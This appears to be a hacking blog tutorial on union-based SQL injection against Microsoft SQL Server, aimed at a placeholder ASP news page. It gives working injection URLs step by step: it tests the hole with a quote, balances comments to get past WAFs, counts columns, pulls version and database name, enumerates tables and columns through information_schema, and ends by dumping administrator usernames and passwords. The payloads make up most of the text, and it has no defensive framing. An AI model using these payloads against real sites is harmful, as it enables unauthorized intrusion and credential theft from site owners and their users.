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16 July, 2021

MSSQL Union Based Injection

MSSQL Union Based Injection

sql injection


In MySQL Database. Now Let's Come to injecting MSSQL Database.

In this Tutorial We Will Discuss About MSSQL Union Based injection. Although MSSQL injection is Similar to MySQL Not the Same as MySQL Is Easy than MSSQL Injection.

So Let's Start Our injecting.

We have a Target site. First, we Have to Check if It's Vulnerable to MSSQL injection or

not. For This Purpose, we Will add a single Quote (') at the end of the Parameter.

Here Let us Say Our Target site is and Add Single Quote ' at the End to check the

Vulnerability:

http://www.AnySite.com/news.asp?id=10'

After executing The Command with a single Quote It Gives This Type of Error:

MSSQL Union Based Injection -Step by Step Guide 1


ERROR:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark after the character string ''.

/news.asp, line 9

So it Means Our Target Site is Vulnerable to MSSQL injection.

Next, we Have to Balance Our Query. Here Are Some Comments that we Can Apply

on our Target Site:

http://www.AnySite.com/news.asp?id=10-- Loading Fine!

http://www.AnySite.com/news.asp?id=10--+ Loading Fine !

http://www.AnySite.com/news.asp?id=10%23 Loading Fine !

http://www.AnySite.com/news.asp?id=10; Loading Fine !


So as You know That Each Site Has a Different WAF so use their Different Comments

for Balancing The Query. After balancing The Query now Next we Have to Count Columns. So we Will Normally use the ORDER BY command For counting Columns

Purpose.

http://www.AnySite.com/news.asp?id=10 order by 1--+ Site Loaded Normally !

http://www.AnySite.com/news.asp?id=10 order by 5--+ Again Site Loaded Normally !

http://www.AnySite.com/news.asp?id=10 order by 15--+ 

Again Site Loaded Normally and there is no kind of error!

http://www.AnySite.com/news.asp?id=10 order by 16--+ 

Here we have Got an Error !!

Error:

Microsoft OLE DB Provider for SQL Server error '80040e14'

The ORDER BY position number 16 is out of range of the number of items in the

select list.

/news.asp, line 9

So It Means There are 15 Total Columns. Now Let's Prepare Our UNION BASED

Command. For Finding the Vulnerable Columns we have to False the URL.

http://www.AnySite.com/news.asp?id=10 and 1=2 UNION SELECT

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

After Executing the UNION BASED command you can see the Vulnerable Columns

Printed on the Webpage.

MSSQL Union Based Injection -Step by Step Guide 3


in my case 5,6,7,8,9 are vulnerable Columns there.

So Now Let's Check the Version. for Finding the Version we will use @@version

We cannot use Version() here As it Is MSSQL Database Not MySQL Database.

Let's Give Command For Checking The Version:

http://www.AnySite.com/news.asp?id=10 and 1=2 UNION SELECT

1,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15--+

After Executing the Query you can See the Version Printed on The Webpage:

MSSQL Union Based Injection -Step by Step Guide 4


Version:

Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46

Copyright (c) Microsoft Corporation Express Edition with Advanced Services (64-bit)

on Windows NT 6.2 (Build 9200:) (Hypervisor)

Now Let's Check the Current Database Name. so for this, we will give the command

db_name() in the Vulnerable Column.

http://www.AnySite.com/news.asp?id=10 and 1=2 UNION SELECT

1,2,3,4,db_name(),6,7,8,9,10,11,12,13,14,15--+

and after executing this command you can see the Database Name Printed Out there.

 

MSSQL Union Based Injection -Step by Step Guide 8

Database Name:

bietdb

Here Are some other Functions and There Uses:

USES : FUCTION

@@version Current Version

db_name() : Current Database name

System_user : Current User name

User_name() : Current User name

current_user() : Current User name

Now Next Part Is to get the Tables from the Database. As We cannot use

group_concat Here Therefore We Have to Get the Tables One by One. So this one

Will Be Our Query for Getting the Tables.

http://www.AnySite.com/news.asp?id=10 and 1=2 UNION SELECT 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--+

And You Can See the First Table Name Printed There.

So Admin is the First Table Name Here. But If you want to Get the Other Tables then

use this One Query.

http://www.AnySite.com/news.asp?id=10 and 1=2 UNION SELECT 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_name not in ('admin')--+

In this admin, we will add our Previous Table name to get the Next one. We, Will, continue to do so until Get the table That We Want. Remember That every Table Name must be in small brackets and being enclosed by

Single Quotes as You Can See This one query.

where table_name not in ('Previous_Table_name_1','Previous_Table_name_2')

So Let's Execute This Query for Getting other Tables in the Database.

so Here is our Second Table in the Database.

MSSQL Union Based Injection -Step by Step Guide 9


Now Let's Get the Columns from the Tables. So this one Will be our Query for the

Columns.

http://www.AnySite.com/news.asp?id=10 and 0=1 UNION SELECT 1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=('admin')--+

After Executing this Query, you can see The First Column name.

MSSQL Union Based Injection -Step by Step Guide 11


This is First Column in that Table. Let’s Get the Other Columns from that Table. So for

For this purpose, we will use This Query.

http://www.AnySite.com/news.asp?id=10 and 0=1 UNION SELECT 1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=('admin') and columns_name not in ('emp_name')--+

in The RED Part, we have to add the Previous Column Name to Get the Next one as we are Done with This for Getting the TABLES. SO You Can Do it until You get that column name that you want. So Let's Execute this Query to Get the other Columns. You can see the Next Column Name Printed there.

MSSQL Union Based Injection -Step by Step Guide 12


As We Have to Get the Columns Name Now Let's Extract data from them. As we Cannot use group_concat in MSSQL so Will Use + Encoded Value with Single Quotes. So Our Final Query for Extracting Data From The Columns will be:

http://www.AnySite.com/news.asp?id=10 and 0=1 UNION SELECT 1,2,3,4,user_name%2b' '%2buser_pass,6,7,8,9,10,11,12,13,14,15 from admin--+

hacker world 99


And After Executing the Query you can see the username and Password Printed in the above Picture. You can do the Same Procedure for Extracting Data from other columns.

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